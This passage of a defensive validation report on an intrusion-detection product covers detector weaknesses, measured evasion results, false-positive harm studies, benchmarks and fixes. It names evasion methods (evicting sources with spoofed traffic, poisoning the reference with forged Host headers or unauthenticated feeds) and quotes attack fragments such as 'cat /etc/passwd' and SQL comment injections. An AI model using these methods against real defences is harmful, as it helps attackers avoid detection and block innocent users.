+ exported when it ends, so a long-lived connection of the attacker arrives 25 minutes "late"; the next record then
285
+ decays all counters, evidence and risk across that gap. Measured: an SSH brute force at 1 guess/s is blocked; the same
286
+ with one 25-minute-old record of the same source every 30 s still alarms (126) but is never blocked (monitor only);
287
+ the same extra flows delivered in time order are blocked — the rewind, not the extra flows, causes it.
288
+ *Fix:* `last_t = max(last_t, t)` everywhere; accept late records into the counters without moving the clock back.
289
+
290
+ #### V-13 LRU eviction resets attackers — Medium — **fixed during the validation (unit level)**
291
+ *Status:* the V-13 unit test (a source with evidence survives 201 fresh sources in a 200-entry table) now passes as a regression test; the end-to-end scan experiment was not re-run. Measured on the pre-fix tree:
292
+ Per-source tables are LRU (`entity.py:67-75`, `decide.py:314-315`) and touched by every source, including spoofed
293
+ one-flow UDP sources or rotated IPv6 addresses. With more fresh sources between a scanner's probes than the table
294
+ holds, the scanner is evicted each time and re-enters as a newborn: tables of 300 vs 100,000 entries, the same
295
+ 5-minute scan with 60,000 fresh one-flow sources — 0/150 vs 17/150 probes alarmed, never vs blocked after 10 s,
296
+ engine-seen age 1 vs 150. At the default 500,000 this needs ~500k fresh sources per probe gap (a few hundred thousand
297
+ spoofed packets per second for a scan at one probe every 2 s) — feasible for IPv6 or spoofed UDP, costly otherwise.
298
+ *Fix:* evict sources without evidence first; keep age/evidence of suspicious sources in a protected segment or a
299
+ count-min sketch.
300
+
301
+ #### V-14 Re-calibration is quadratic in distinct sources — High (availability) — **fixed at 10:00**
302
+ *Status:* the maintainers replaced `np.isin` on object arrays with hash-set membership; the strict-xfail test
303
+ `test_v14_*` XPASSed and is now a plain regression test. Measurement on the pre-fix tree:
304
+ `_drift_guard` calls `np.isin` on object arrays (`engine.py:352`, also `:364` and the reference-hygiene filter at
305
+ `:730`). NumPy falls back to an element-by-element loop for object dtype, O(n·m). One epoch (every 30 min):
306
+
307
+ | distinct sources | anchor rows | buffer rows | epoch time |
308
+ |---|---|---|---|
309
+ | 4,000 | 16,000 | 24,001 | 1.6 s |
310
+ | 8,000 | 32,000 | 48,001 | 5.9 s |
311
+ | 16,000 | 64,000 | 96,001 | 23.2 s |
312
+ | 32,000 | 80,000 | 192,001 | 81.3 s |
313
+
314
+ log-log slope 1.9. A profile of one 100k-row epoch spent 112.8 of 115.6 s inside `_in1d`. While it runs the sidecar
315
+ holds its lock: the proxy's summary queue (10,000) overflows and its summaries are dropped (`main.go`), the state poll
316
+ stalls. A busy site (the DESIGN target is 1M tracked entities) would spend most of every half hour blind; an attacker
317
+ can raise the distinct-source count cheaply. *Fix:* factorise source keys to integers once (or use Python sets).
318
+ (For the Kaggle runs the evaluation job patches `np.isin` to compare strings — results identical, only time.)
319
+
320
+ #### V-15 HTTP reference poisoning — High
321
+ * **Bootstrap** (`layer.py:240-257`): the first 1,000 non-signature requests of a site — *including* ones the model
322
+ alarms on — become its reference; at α = 10⁻³ with n = 1,000 the conformal threshold is the maximum
323
+ (`decide.py:259`). One attack request among them sets the threshold. Measured with 16 model-only payloads (V-01…V-04
324
+ forms): threshold 4.35 → 6.16 → 11.51 and detection 87.5 % → 68.8 % → 6.2 % for 0 / 1 / 5 attack requests; benign
325
+ false alarms unchanged (0). Re-profiling every 30 min learns from un-alarmed requests, so payloads under the raised
326
+ threshold keep it raised.
327
+ * **Host-keyed profiles** (`layer.py:246-257`, `engine.py:766-785`): the `Host` header picks the profile; the Go proxy
328
+ forwards any `Host` to its single upstream and passes `r.Host` to the sidecar. 1,400 requests with
329
+ `Host: evil.example` (half attack) build an attacker-owned profile and threshold: the 16 payloads score −7…−12 and
330
+ 0 % alarm under that host vs 87.5 % under the real host.
331
+ * **Unbounded** per-host bootstrap buffers: 5,001 buffers for 5,000 distinct hosts, 7.1 KB each (V-17).
332
+ *Fix:* apply the same hygiene to the bootstrap as to epochs (drop alarmed requests, ≤ 1 % per source, robust
333
+ quantile with a floor at the shipped threshold); only profile hosts the operator configured; bound the host map.
334
+
335
+ #### V-16 Unauthenticated traffic feeds — Medium
336
+ `FEED_TOOLS` (`llm.py:82`) — including `guard_calibrate` — need no token unless `DIBAGUARD_FEEDS_NEED_TOKEN=1`
337
+ (`llm.py:380`). Anything that can reach the sidecar (another local process or tenant, an SSRF in the protected app,
338
+ which usually shares the host) can: post `guard_score_http` with a payload and a victim's address → the victim is in
339
+ `guard_fast_state` block list (measured); post `guard_calibrate` with attack texts → model-only detection 87.5 % → 0 %
340
+ (measured). Control tools (feedback, policy) correctly require the token (403). *Fix:* token required for
341
+ `guard_calibrate` always; authenticate the fast path's pushes (HMAC with the challenge secret, or mTLS / UDS
342
+ permissions).
343
+
344
+ #### V-17 Memory per tracked source — Medium (availability)
345
+ 3,564 bytes per one-flow source across the per-source structures (tracemalloc), i.e. ~1.7 GB at the default
346
+ `max_entities=500_000` (DESIGN: < 300 MB for 1M entities). One source that walked 512 (host, port) keys holds
347
+ 1.14 MB; a few thousand spoofed scanners walking ports would exhaust RAM before the LRU cap applies. Per distinct
348
+ `Host` value: 7.1 KB, unbounded.
349
+
350
+ #### Feedback abuse
351
+ Not re-opened: the RT-08 fix (severity-gated confirmation) and its 39 regression tests pass; the /24–/48 width cap
352
+ and the hash-chained journal were not re-tested beyond those tests. Note that V-10 lets an attacker *become* a shared
353
+ address, and an operator who allowlists a NAT address through feedback exempts everyone behind it — a policy risk,
354
+ not a defect.
355
+
356
+ ### 4.2 Property 2 — complex attacks
357
+
358
+ `scripts/validate_killchain.py`: one Layer sees the site's flows, HTTP and PostgreSQL query log (2 h calibration,
359
+ 4 h attack window with benign traffic throughout). Three plays: a textbook attacker, an evasive one (V-01/V-02
360
+ payloads, rotating UA, slower recon) and the evasive one with a fresh address per stage.
361
+
362
+ | stage | textbook | evasive (one address) | evasive, fresh address per stage |
363
+ |---|---|---|---|
364
+ | S1 recon: port scan of the DMZ | caught 3.4 s (portscan, tiers 1/3/5), **blocked**, 282 later probes refused | caught 6.8 s, blocked | caught 6.8 s, blocked |
365
+ | S2 SQL injection reaching the DB | caught 60 s: A15 + DB tier; attacker blocked | DB tier only (HTTP edge silent); refused because S1's block was still active | **DB tier only**; HTTP edge silent; 0 requests refused during the stage |
366
+ | S3 command injection + reverse shell | prevented (S2 block) | prevented (block) | caught: HTTP model (challenge) + flow tier 3 on the shell |
367
+ | S4 lateral movement (web server → SMB/SSH) | caught 0.6 s, web server blocked | caught 5.3 s | caught 5.3 s |
368
+ | S5 exfiltration: 24k customer rows over 1 h + 24 MB upload | **DB read never flagged**; upload flagged at +3600 s (tier 3) | same | same |
369
+ | S6 distributed stuffing, 400 bots | all 400 flagged within 0.3–1.2 s, **challenged** | same | same |
370
+ | S6b one bot logs in and exports users | not flagged | not flagged | not flagged |
371
+
372
+ What held: cross-tier defence in depth — when the edge missed the evasive SQLi, the database tier saw the injected
373
+ query; recon and lateral movement are caught in seconds; no benign user was blocked in any play.
374
+ What failed (repro `test_v_reliability.py::test_v21_*` with `shield/database.py` `DbGuard.score` volume tiers
375
+ `_vol_thr` / `_vol_thr_long` and the known-shape exemption; `test_v20_*` with `flows/entity.py` `family_rules` and the
376
+ evidence tiers of `engine.py` `Guard.flows`): **V-21** (exfiltration through the app's own connection: the app server reads ~150k rows/hour normally,
377
+ so 24k extra rows are invisible to volume baselines, and a new paging query on a sensitive table is not a named
378
+ family); the S2 provenance did not block the attacker during the stage; **V-20** (separately measured,
379
+ `validate_cascade.py stale`): one source guessing SSH every 4 s for 30 min — 450 attempts — raises 0 alarms (1/s is
380
+ blocked within 10 s). Time-to-first-alarm per stage is in `killchain.json`.
381
+
382
+ ### 4.3 Property 2 — harm to legitimate users
383
+
384
+ `scripts/validate_harm.py`: a public shop for 26 h (2 h warm-up, 24 h measured), ~4,200 users/day, ~178k requests and
385
+ ~103k flows per run, three seeds. Populations: broadband (one IPv4 each), mobile carrier (40 public NAT addresses,
386
+ six phone browsers), corporate NAT (5 addresses, one managed browser), IPv6 with privacy addresses, 5 partner API
387
+ integrations, a search crawler, a declared AI crawler (challenged by policy — not counted as harm). Events: a flash
388
+ crowd of 1,500 new mobile users at 21:00, a deploy at 14:00 (removed paths 404 for 30 min, 2 min of 5xx), password
389
+ typos, Persian searches with quotes and dashes, product reviews.
390
+
391
+ | per 1,000 users per day (3 seeds) | as simulated | control: the one review sentence V-18 blocks reworded |
392
+ |---|---|---|
393
+ | users blocked (source block) | 146.4 [140.337, 152.636] (seeds 130.1–166.6) | 0.1 [0.014, 0.446] (seeds 0.0–0.2) |
394
+ | users with a request refused inline (hard signature) | 56.4 [52.528, 60.559] (seeds 55.3–57.6) | 0.2 [0.08, 0.695] (seeds 0.2–0.2) |
395
+ | users rate-limited | 0.0 [0.0, 0.303] (seeds 0.0–0.0) | 0.0 [0.0, 0.303] (seeds 0.0–0.0) |
396
+ | users challenged | 180.3 [173.744, 187.121] (seeds 143.8–199.4) | 151.8 [145.679, 158.164] (seeds 103.7–183.2) |
397
+
398
+ | population (seed 11) | users | blocked | inline refused | challenged | blocked (control) | challenged (control) |
399
+ |---|---|---|---|---|---|---|
400
+ | api | 5 | 0 | 0 | 5 | 0 | 5 |
401
+ | crawler | 1 | 0 | 0 | 1 | 0 | 1 |
402
+ | ai_crawler | 1 | 0 | 1 | 1 | 0 | 1 |
403
+ | home | 1443 | 114 | 121 | 259 | 0 | 218 |
404
+ | corporate | 290 | 64 | 16 | 66 | 0 | 62 |
405
+ | ipv6 | 288 | 26 | 29 | 49 | 0 | 41 |
406
+ | mobile | 724 | 126 | 62 | 96 | 0 | 75 |
407
+ | flash | 1500 | 223 | 16 | 363 | 0 | 376 |
408
+
409
+ Users affected, by the action and the family behind it (seed 11, as simulated / control): challenge:bruteforce 577/689; block:sqli 553/0; challenge:sqli 175/0; challenge:webattack 90/91; challenge:bot 8/8; challenge:scan 1/1
410
+
411
+ *Reading.* Every source block and every inline refusal of a benign user in the simulated day comes from one cause,
412
+ V-18: a review sentence ("Don't buy -- it broke after 2 days", 1 of 8 review templates, reviews are ~2 % of
413
+ requests) is an A22 hard hit, the request is refused and the source blocked for 30 minutes — on a NAT address that is
414
+ every employee or every phone behind it (corporate 64 of 290 users, mobile 126 of 724, flash-crowd 223 of 1,500).
415
+ With that sentence reworded, blocks fall to 0.1 per 1,000 users per day [0.01, 0.45] — the engine's first-contact
416
+ and shared-address rules do keep blocks away from ordinary browsing. Challenges remain frequent (≈ 150 per 1,000
417
+ users per day in the control): almost all are the `bruteforce` family raised on failing requests (password typos at
418
+ peak hours, the flash crowd's failed logins, the deploy's 404/5xx burst), and
419
+ `challenge` is the policy action for those tiers. A challenge costs a browser one interstitial; it cuts off any
420
+ client without JavaScript, which is why every partner API integration and the search crawler were cut off (V-19).
421
+ Rate limits: none in any run.
422
+
423
+ Attribution (one seed, `harm_attr_quiet.json`): the same day with no flash crowd, no deploy and the V-18 sentence
424
+ reworded has **0 blocked users** [0, 1.4 per 1,000] and 55 challenged per 1,000 [47, 64] — 79 users by the HTTP
425
+ model (`webattack`), 68 by `bruteforce` (password typos), 6 machine clients (`bot`). The flash crowd and the deploy
426
+ therefore add ≈ 100 challenged users per 1,000 per day.
427
+
428
+ #### V-18 English prose is blocked as SQL injection — High
429
+ `database.classify`'s fallback (`database.py:239-243`) flags a value as injection when a quote is left unbalanced
430
+ next to `;`, `--`, `#` or `/*`; A22 places every value in a string context, so a contraction followed by ordinary
431
+ punctuation reads as a break-out. A hard A22 hit is block-worthy for the request *and* the source.
432
+ Independent corpus: 4,474 English sentences of the Python standard library's docstrings — 0.76 % [0.54, 1.06]
433
+ blocked; of the 531 containing an apostrophe, **5.8 % [4.1, 8.2]**. Conversational text is worse: 10 of 15 ordinary
434
+ review/support sentences ("It's great; works fine", "I'm happy -- 5 stars", "I can't login; please help") are blocked.
435
+ The 80,234 Persian zanbil.ir requests contain almost no apostrophes, which is why the red team's 0.0000 % FP did not
436
+ reveal this. *Fix:* require an SQL token (operator, keyword, comparison) after the break-out before the fallback fires.
437
+
438
+ #### V-19 Machine clients are cut off by challenges — Medium
439
+ In every seed all five partner API integrations (polling `/api/v1/items` every 10 s) and the search crawler were
440
+ challenged by the session tier ("bot"); a challenge is a JavaScript page, so these clients are effectively blocked
441
+ for the challenge TTL each time. *Where:* `engine.py` `Guard.http_requests` session tier (family `bot` / `bruteforce` from the stream counters) and the
442
+ global per-path failure tier, mapped to `challenge` by `policy.py` `DEFAULT["actions"]`; `layer.py` `Layer._act`.
443
+ *Repro:* `test_v_reliability.py::test_v19_machine_clients_are_not_challenged`. *Fix:* allow operator-verified
444
+ crawlers / API keys; rate-limit machine clients instead of challenging them.
445
+
446
+ ### 4.4 Property 3 — independent validation
447
+
448
+ #### OWASP CRS regression tests
449
+ 5,227 test stages from `coreruleset/coreruleset` (main, commit `ca679721f6df320c88b81cdb52aea68588ff2859`), fetched
450
+ and parsed on Kaggle (`guard_jobs/validate_crs.py`; 4,138 expect a rule to fire, 1,054 expect none), judged here with
451
+ the shipped models (`scripts/validate_crs_local.py`). The Layer's HTTP model was calibrated on the harness's own
452
+ benign traffic (1,500 zanbil.ir requests re-sent with the harness headers). Paranoia level (PL) from the rule files.
453
+ Rates in %, 95 % CI. "Python hard" = a playbook signature or a hard A22 hit; "Layer" = any alarm incl. the model
454
+ (challenge); "Go path" = Go inline block or sidecar block on the Go text.
455
+
456
+ | family (PL1) | attack tests | Python hard | Layer alarm | Go inline block | Go path | libinjection SQLi | libinjection XSS | negative tests | Python hard on negatives | Layer alarm on negatives |
457
+ |---|---|---|---|---|---|---|---|---|---|---|
458
+ | SQLi (942) | 324 | 42.9 [37.6, 48.3] | 70.1 [64.9, 74.8] | 30.9 [26.1, 36.1] | 43.8 [38.5, 49.3] | 20.7 [16.6, 25.4] | 7.1 | 51 | 7.8 [3.1, 18.5] | 21.6 [12.5, 34.6] |
459
+ | XSS (941) | 188 | 34.0 [27.6, 41.1] | 82.4 [76.4, 87.2] | 26.6 [20.8, 33.3] | 28.7 [22.7, 35.6] | 5.9 | 52.7 [45.5, 59.7] | 54 | 5.6 [1.9, 15.1] | 27.8 [17.6, 40.9] |
460
+ | RCE (932) | 450 | 6.0 [4.2, 8.6] | 51.1 [46.5, 55.7] | 4.4 | 5.3 | 3.8 | 3.6 | 185 | 8.6 [5.4, 13.6] | 27.6 [21.6, 34.4] |
461
+ | LFI (930) | 57 | 24.6 [15.2, 37.1] | 61.4 [48.4, 72.9] | 19.3 | 22.8 | 0.0 | 5.3 | 15 | 0.0 [0, 20.4] | 6.7 |
462
+ | RFI (931) | 14 | 0.0 [0, 21.5] | 21.4 | 0.0 | 0.0 | 0.0 | 14.3 | 2 | – | – |
463
+ | PHP (933) | 265 | 12.8 [9.3, 17.4] | 68.7 [62.9, 74.0] | 12.8 | 13.2 | 0.8 | 7.9 | 89 | 3.4 [1.2, 9.4] | 44.9 [35.0, 55.3] |
464
+ | Java (944) | 603 | 9.8 [7.7, 12.4] | 30.7 [27.1, 34.5] | 1.0 | 11.1 | 0.0 | 27.2 | 27 | 14.8 [5.9, 32.5] | 88.9 [71.9, 96.1] |
465
+ | generic (934) | 124 | 8.9 [5.0, 15.2] | 62.1 [53.3, 70.2] | 8.9 | 9.7 | 0.0 | 7.3 | 19 | 15.8 [5.5, 37.6] | 52.6 |
466
+ | session fixation (943) | 42 | 4.8 [1.3, 15.8] | 9.5 | 4.8 | 4.8 | 0.0 | 4.8 | 5 | 0.0 | 0.0 |
467
+ | **all in-scope, PL1** | **2,067** | **16.9 [15.4, 18.6]** | **53.1 [51.0, 55.3]** | 11.3 [10.0, 12.8] | 16.9 [15.3, 18.6] | 4.7 [3.9, 5.7] | 16.4 [14.9, 18.1] | 447 | **7.4 [5.3, 10.2]** | **34.0 [29.8, 38.5]** |
468
+ | all in-scope, all PL | 3,727 | 16.5 [15.3, 17.7] | 51.4 [49.8, 53.0] | 9.7 | 15.6 | 4.4 | 15.0 | 758 | 5.9 [4.5, 7.9] | 29.0 [25.9, 32.4] |
469
+
470
+ Reading: the hard tiers are precise but narrow — they target break-out contexts and named shapes, while CRS tests
471
+ include many fragments that CRS flags by keyword (`database(`, `pg_catalog`, `cat /etc/passwd` without a shell
472
+ metacharacter, `/usr/bin/perl -e …`). The learned model adds coverage only as challenges, at a high alarm rate on
473
+ the negative tests (34 % at PL1; negative tests are often attack-shaped strings that one specific rule must not
474
+ match, so this over-counts true FPs). Against libinjection on the same values DibaGuard's hard tiers catch more
475
+ SQLi (42.9 % vs 20.7 % at PL1) at a similar negative rate (7.8 % vs 7.8 %), and **fewer XSS (34.0 % vs 52.7 %)** —
476
+ DibaGuard is worse than libinjection on CRS XSS. Out of scope (not counted above): protocol (920/921/922), method,
477
+ scanner, outbound response rules — hard tiers ≤ 1.4 %.
478
+
479
+ #### Real traffic re-checked on both paths
480
+ | corpus | n | Python hard hit | Go inline signature | Go inline refuse (block or model challenge) | Go path (inline or sidecar) |
481
+ |---|---|---|---|---|---|
482
+ | zanbil.ir benign (FP) | 80,234 | 0.00 [0.00, 0.01] | 0.00 [0.00, 0.01] | 0.00 [0.00, 0.01] | 0.00 [0.00, 0.01] |
483
+ | SR-BH 2020 WordPress benign (FP) | 3,085 | 0.58 [0.37, 0.92] | 0.26 [0.13, 0.51] | 3.99 [3.35, 4.74] | 0.45 [0.27, 0.76] |
484
+ | SR-BH 2020 WordPress SQLi | 9,886 | 60.82 [59.86, 61.78] | 45.70 [44.72, 46.68] | 58.93 [57.96, 59.90] | 59.66 [58.69, 60.62] |
485
+ | SR-BH 2020 WordPress other attacks | 6,533 | 50.76 [49.55, 51.97] | 47.56 [46.35, 48.77] | 76.06 [75.01, 77.08] | 51.17 [49.96, 52.38] |
486
+ | ModSecurity 2025 (last 10 days) bot | 6,424 | 0.09 [0.04, 0.20] | 0.09 [0.04, 0.20] | 72.00 [70.88, 73.08] | 0.09 [0.04, 0.20] |
487
+ | ModSecurity 2025 (last 10 days) cmdi | 654 | 0.31 [0.08, 1.11] | 0.15 [0.03, 0.86] | 87.31 [84.54, 89.64] | 0.31 [0.08, 1.11] |
488
+ | ModSecurity 2025 (last 10 days) lfi | 13,175 | 88.80 [88.25, 89.32] | 88.82 [88.27, 89.35] | 91.89 [91.42, 92.35] | 88.82 [88.27, 89.35] |
489
+ | ModSecurity 2025 (last 10 days) protocol | 10,371 | 3.95 [3.60, 4.35] | 3.70 [3.36, 4.08] | 27.34 [26.49, 28.20] | 3.70 [3.36, 4.08] |
490
+ | ModSecurity 2025 (last 10 days) rce | 608 | 13.65 [11.15, 16.61] | 7.73 [5.86, 10.13] | 65.62 [61.76, 69.29] | 18.91 [16.00, 22.22] |
491
+ | ModSecurity 2025 (last 10 days) scan | 124 | 7.26 [3.86, 13.22] | 7.26 [3.86, 13.22] | 11.29 [6.85, 18.06] | 7.26 [3.86, 13.22] |
492
+ | ModSecurity 2025 (last 10 days) sqli | 3,225 | 53.15 [51.42, 54.86] | 28.99 [27.45, 30.58] | 34.79 [33.17, 36.45] | 48.16 [46.43, 49.88] |
493
+ | ModSecurity 2025 (last 10 days) xss | 27 | 11.11 [3.85, 28.06] | 11.11 [3.85, 28.06] | 33.33 [18.64, 52.18] | 11.11 [3.85, 28.06] |
494
+
495
+ Per million benign requests: zanbil.ir **0** blocked by either path (95 % upper bound 46 per million); SR-BH 2020
496
+ benign 5,830 per million on the Python edge — but its blocked "benign" rows are strings such as `and 1=1 --` and
497
+ `%' --` posted as comments, i.e. label noise rather than false positives. On the ModSecurity archive (labelled by CRS
498
+ itself, so tilted towards CRS) the Python edge and the Go path agree within a point except for **SQLi, where the Go
499
+ inline signatures block 29.0 % against 53.1 %** (V-08/V-09: the A22 tier and the Python canonical form are missing
500
+ inline), and RCE (7.7 % vs 13.7 %). The Go model's inline *challenges* (62.6 % of all ModSecurity rows, 4.0 % of
501
+ SR-BH benign rows) are a much broader net than its blocks.
502
+
503
+ #### Public flow datasets (GREEN), calibrate-then-score on Kaggle
504
+ `guard_jobs/validate_flows.py` on Kaggle (CPU): the shipped flow models (`seq_v1/nf_entity_mono`, `seq_v1/seqnet`,
505
+ `entity_v1/nf_entity_detector`, sha256 = shipped), `Guard.calibrate_flows` on a benign-labelled prefix of the same
506
+ network, then `Guard.flows` in time order in 20k-flow batches, as a deployment would. α = 10⁻³. "Source-minute" is
507
+ the engine's verdict unit (a source-minute is an attack if any of its flows is). AUROC CIs: cluster bootstrap over
508
+ sources; rates: Wilson.
509
+
510
+ | dataset (origin, licence) | scored flows / attack flows | calibration | flow AUROC | source-minute AUROC [95 % CI] | source-minute FPR at α = 10⁻³ | source-minute TPR | FPR without tiers 5/6 (global scan, campaign) | attack sources caught |
511
+ |---|---|---|---|---|---|---|---|---|
512
+ | CSE-CIC-IDS2018, AWS original, Tue 20-02 (DDoS LOIC-HTTP main burst) | 2,549,526 / 575,394 | 1.45M benign flows of the 2 h before the burst | 0.997 | **0.9987 [0.997, 0.9998]** | **49.6 % [49.4, 49.8]** (block-safe 5.3 %) | 99.8 % [99.1, 99.97] | **2.9 % [2.8, 3.0]** (TPR 99.7 %) | 10 / 10 |
513
+ | LUFlow 2021, author's release (temporal hold-out: the models saw 2020) | 3,481,533 / 85,521 | first 300k benign flows (≥ 24 h) | 0.11 | 0.065 [0.054, 0.267] | 10.5 % [9.5, 11.5] | 30.4 % [29.7, 31.1] | 10.5 % (TPR 5.5 %) | 66 / 297 (22.2 % [17.9, 27.3]) |
514
+ | SIMARGL 2021, benign-only later window (in-distribution) | 429,334 / 0 | first 25 % of the capture | – | – | **43.8 % [43.5, 44.1]** (block-safe 35.4 %) | – | **4.9 % [4.8, 5.1]** | – |
515
+ | SIMARGL 2021, port-scan window (in-distribution; run before the two engine changes) | 2,271,102 / 1,523,141 | first 25 % | 0.88 | 0.991 [0.987, 0.995] | 34.1 % [33.8, 34.5] | 98.6 % [95.0, 99.6] | – | 1 / 1 |
516
+ | LUFlow 2020 (in-distribution) | 3,935,118 / 544,841 | first 24 h | 0.51 | 0.35 [0.26, 0.58] | 4.9 % [3.1, 7.6] | 13.4 % [13.1, 13.7] | – | 159 / 653 (24.4 %) |
517
+ | CIC-IDS2017, UNB original | not verified — the publisher served no archive to the kernel | | | | | | | |
518
+
519
+ #### V-22 Global tiers with absolute floors flood unfamiliar networks with alarms — High
520
+ On both networks whose benign traffic has many unanswered or SYN-only flows (the CIC 2018 AWS VPC, the SIMARGL ISP),
521
+ the **global distributed-scan tier** (`engine.py:117-118` `GlobalRate` with `global_scan_floor = 60.0`, applied at
522
+ `engine.py:716`) is above its fixed floor most of the time and marks *every* scan-like flow site-wide: half of the
523
+ benign source-minutes alarm (49.6 %, 43.8 %), and 5.3 % / 35.4 % are block-safe. Without tiers 5/6 the same runs
524
+ have 2.9 % and 4.9 % — still 30–50× the α = 10⁻³ budget: the conformal guarantee does not survive the time shift
525
+ between the calibration window and later traffic on these networks, and the epoch re-calibration did not bring it
526
+ back within the scored hours. A sensitivity run (CIC 2018 calibrated on the first hour of the day, scored through the
527
+ morning) reached 78.1 % [77.99, 78.30] with 0 % detection of the early attack flows. The engine's separation of
528
+ attack from benign is excellent on the volumetric DDoS (source-minute AUROC 0.999) and poor on LUFlow's
529
+ honeypot-labelled background traffic (AUROC < 0.5: the "malicious" sources are low-volume and look *more* ordinary
530
+ than the busiest benign ones). *Fix:* calibrate the global floors (and the campaign tier's young-fingerprint bar) on
531
+ the site's own benign traffic like every other tier; never let a site-wide rate turn into per-flow blame without a
532
+ per-source signal; report the realised FPR per epoch and recalibrate when it leaves the budget.
533
+
534
+ ---
535
+
536
+ ## 5. Defences that held (with numbers)
537
+
538
+ * **RT-01…RT-10 fixes**: all 39 red-team regression tests pass on the current tree; Go parity, canonical and
539
+ signature tests (`go test -run 'Parity|Canonical|Sigs'`) pass.
540
+ * **Python canonicaliser vs classic obfuscation**: double URL encoding, `/**/` between keywords, MySQL versioned
541
+ comments, case mixing, fullwidth/NFKC, `CHAR()`/hex, tab whitespace — every payload family blocked in the query,
542
+ and each of 25 single semantics-preserving transforms that do not touch comments or line structure blocked
543
+ (transform matrix in `canon_fuzz.json`).
544
+ * **Placement completeness (Python edge)**: all 11 payload families blocked in 18 placements — query value and key,
545
+ second duplicate query parameter, path segment, form value and key, JSON value/key/nested/`\u`-escaped,
546
+ multipart value and filename, XML body, cookie (encoded and raw), `User-Agent`, `Referer`, `X-Forwarded-For`
547
+ (`test_defence_held_placements`).
548
+ * **No benign block on Persian traffic**: 0 of 80,234 zanbil.ir benign requests blocked by the Python edge
549
+ (0 % [0, 0.005 %]), 0 by the Go path; 10 DbNet soft hits (0.012 %).
550
+ * **Distributed credential stuffing**: 1,500 proxies, 4 guesses each over an hour — 100 % flagged and acted on with a
551
+ fixed `Host` and with a rotating `Host` (`site`, `SITE`, `site.`, `site:443`, 100 sub-domains): the global per-path
552
+ tier does not depend on the client-chosen fingerprint. In the kill chain 400 bots were all flagged within 1.2 s.
553
+ * **Defence in depth**: SQL injection the HTTP edge missed (V-02 forms) was still caught by the database tier on the
554
+ application server's query (kill chain S2); recon and lateral movement caught in 0.6–6.8 s.
555
+ * **Control-plane authentication**: feedback / policy tools without the console token → 403.
556
+ * **Benign users never blocked in the kill-chain plays**; no benign rate-limit in any harm run.
557
+
558
+ ---
559
+
560
+ ## 6. Limitations of this validation
561
+
562
+ * **Synthetic sites.** Harm and kill-chain numbers come from simulations (generators in `scripts/validate_*.py`,
563
+ partly reusing `scripts/redteam_slow.py`). Rates per 1,000 users depend on the population mix and on how often
564
+ users write free text (V-18 drives most blocks; the control run without that one sentence is reported).
565
+ * **Go path** was exercised through `Decider.Inspect` and the sidecar's text, not through a running proxy under load;
566
+ the authz service's body-less integrations (nginx `auth_request` etc.) were not re-measured (documented in
567
+ INTEGRATIONS.md).
568
+ * **CIC-IDS2017 original (UNB)**: not verified — the publisher's site served no downloadable archive to the Kaggle
569
+ kernel (listing empty; the direct URL returned a non-zip). The DistriNet/Kaggle copies are not GREEN and were not
570
+ used.
571
+ * **In-distribution datasets**: LUFlow 2020 and SIMARGL 2021 were in the shipped models' training testbeds; they are
572
+ reported apart and are not evidence of transfer. CSE-CIC-IDS2018's NetFlow-v3 form was in the monotone prior's
573
+ training; the AWS CICFlowMeter day is a different feature extraction of the same capture.
574
+ * **Flow labels**: LUFlow labels come from honeypot lists (coarse "malicious"); CIC labels have known errors.
575
+ * **CRS**: the regression tests are rule unit tests, not a traffic sample; per-test "detection" by a context engine
576
+ is not comparable one-to-one with CRS anomaly scoring. A full CRS/ModSecurity engine was not run as a baseline
577
+ (only libinjection, its SQLi/XSS engine). The HTTP model's alarm rates depend on the calibration traffic chosen.
578
+ * **HTTP model on Kaggle**: the copy of `http_tier1_v2.npz` in the results repo is not the shipped file (sha256
579
+ mismatch), so every HTTP-model number here was computed locally with the shipped file; Kaggle was used only for
580
+ data access, parsing, libinjection and the flow models (which matched the shipped sha256).
581
+ * **Feedback abuse** and the HA/state-sync path (`state.py`) were not re-tested beyond existing tests.
582
+ * **Timing** numbers (V-14) were taken on a shared machine with a benchmark running; the slope, not the seconds,
583
+ is the result.
584
+
585
+ ---
586
+
587
+ ## 8. Remediation after this validation (2026-10-31, afternoon)
588
+
589
+ Every finding was fixed at its root, not at its repro string; each strict-xfail test was flipped into a plain
590
+ regression test once it passed (`# V-xx fixed 2026-10-31 (regression test)` above it). The labs and the real-data runs
591
+ were then repeated on the fixed tree (§8.3).
592
+
593
+ ### 8.1 Engine, state, identity, sidecar, database (fixed in `dibaguard/engine.py`, `decide.py`, `flows/entity.py`, `campaign.py`, `shield/layer.py`, `shield/database.py`, `llm.py`, `console.py`, `state.py`)
594
+
595
+ | id | fix |
596
+ |---|---|
597
+ | V-10 | an address whose recent traffic is mostly alarmed or failing (>= 70 % of >= 20 requests in ~10 min) is judged whole - its user-agents no longer split it into sub-entities - and is not exempted from blocks as "shared"; a NAT whose users are mostly served keeps the sub-entity treatment |
598
+ | V-11 | every IPv6 source is judged as its /64 (`policy.ipv6_entity_prefix`, default 64) on the HTTP and the flow paths, as blocks already were; the Go fast path already indexes network keys for every action |
599
+ | V-12 | an out-of-order event never rewinds a clock and is counted with its weight at the record's clock, exp(-lateness / tau) - the exact update of a decayed counter - in the entity counters, the evidence, risk, pressure, global-rate and database tables. (Clamping alone, the first fix, froze decay when one source's clock ran ahead - a benign API client then looked like a flood; found by the V-19 harm run) |
600
+ | V-13 | bounded tables evict a fresh entry before one that has earned state (a source with 8+ flows, evidence > 1, risk > 0.2): `decide.evict`, second chance over the 8 oldest |
601
+ | V-14 | hash-set membership instead of `np.isin` on object arrays (drift guard, named-source exclusion) |
602
+ | V-15a | bootstrap and re-profile references clip their far upper outliers to a robust fence (q99 + 3 (q99 - q50), at most 1 % of rows): one or a few attack requests can lift the threshold at most to a level the benign bulk sets |
603
+ | V-15b | a new Host gets its own profile only from requests the default profile does not flag (a buffer mostly flagged gets none); at most `policy.http_max_hosts` (256) hosts |
604
+ | V-15c | bootstrap buffers are bounded by the same cap; a fresh conformal bug found on the way: a reference of 693-998 scores (usable by `n_needed`) returned an infinite threshold - no alarm at all - now it returns its maximum |
605
+ | V-16 | feeds that carry sources (`guard_score_http` with client/time/status, `guard_score_flows`, `guard_db`, `guard_rpc`) need the feed token (`DIBAGUARD_FEED_TOKEN`, header `X-DibaGuard-Feed-Token`, sent by the Go proxy) or the console token; score-only calls stay open; `guard_calibrate` / `guard_db_calibrate` are control calls (console token + CSRF header); `DIBAGUARD_FEEDS_OPEN=1` reopens feeds explicitly |
606
